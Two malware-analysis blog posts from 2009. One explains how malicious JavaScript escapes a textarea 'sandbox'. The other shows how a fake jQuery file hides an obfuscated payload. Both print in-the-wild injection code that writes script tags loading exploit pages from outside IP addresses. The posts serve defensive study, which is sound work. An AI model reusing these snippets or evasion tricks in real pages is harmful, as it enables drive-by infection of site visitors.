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JavaScript anti-analysis tricks: /textarea
May 1, 2009
Malicious JavaScript code often relies on defensive mechanisms to evade detection or to make its deobfuscation more difficult. Some of these methods have been well discussed (see, for example, the very nice presentations Reverse Engineering Malicious Javascript by J. Nazario and Circumventing Automated JavaScript Analysis by B. Hoffman), but it's interesting to see how they are used.
Some of the earliest defensive techniques are directed against the
manual analysis of malicious code. For example, a quick analysis
technique consists of wrapping the script's code into textarea tags so
that deobfuscated code is written into the textarea and can be
quickly inspected and copy-and-pasted for further analysis. In this
case, the textarea is essentially used as a poor-man sandbox. Something
the bad guys figured out quickly was that all they needed to do to
defeat this technique was to close the textarea tag before performing
any other action.
Somewhat surprisingly, this trick is still used from time to time. A few months ago, a malicious script on ixfree.net contained the following code:
document.write("</textarea>");
var i, _, a = ["78.110.175.21", "195.24.76.251"];
_ = 1;
if (document.cookie.match(/\bhgft=1/) == null)
for (i = 0; i < 2; i++)
document.write("<script>if(_)" +
"document.write(\"<script id=_" + i + "_ src=//" + a[i]" +
"/cp/?" + navigator .appName.charAt(0) +
"><\\/script>\")<\/script>");
(see full report on Wepawet)
The code closes the textarea to escape its "sandbox", checks that a cookie is not set, and then generates two script tags that redirect to exploits. If you were to wrap this code into a textarea, you would end up with an empty textarea and a wrong detection.
Malicious "jquery"
April 26, 2009
A social engineering trick that the people behind drive-by downloads are using is that of hiding their malicious code in the middle of benign, well-know code.
For example, recently, a number of compromised web sites have found their pages modified with iframes pointing at hxxp://94.247.2.195/jquery.js. At a cursory inspection, jquery.js looks like the jQuery library, a well-known (and definitely benign) JavaScript library. The code includes the standard jQuery's copyright notice and revision information, and the first 6K bytes or so are indeed identical to the original library's code.
/*
* jQuery JavaScript Library v1.3.1
* http://jquery.com/
*
* Copyright (c) 2009 John Resig
* Dual licensed under the MIT and GPL licenses.
* http://docs.jquery.com/License
*
* Date: 2009-01-21 20:42:16 -0500 (Wed, 21 Jan 2009)
* Revision: 6158
*/
(function(){var l=this,g,y=l.jQu...
However, the malicious code is hidden toward the end of the script, where one finds:
if( (typeof(jquery_data)!=typeof(1)) &&
(document.cookie.match(/\miek=1/)==null))
document.write(
unescape('fq%3CssoWcOTHriDpgpsoWt...FH5rscDpgrRpiptRp%3E')
.replace(/soW|VV|U6k|rV|fq|OTH|H5r|Dpg|Rp/g,"")
.replace(/Z/,navigator.appName.charAt(0)=='M'?'0':'1'));
jquery_data=1;
This code determines whether an attack has already been launched, by
checking the jquery_data variable and the miek cookie. If not, it
deobfuscates a long string and writes it in the current page. The
deobfuscated string creates a new script tag which points at
hxxp://94.247.2.195/news/?id= The value of the id parameter in the
script URL is 100 if the codename of the browser starts with the letter M
(e.g., Firefox and Internet Explorer), 101 in all other cases. This
page, in turn, attempts to launch a number of exploits (see the Wepawet
report).
The exploits target vulnerabilities in MDAC, PDF, and SWF.
It's certainly true: thing are not always what they seem...
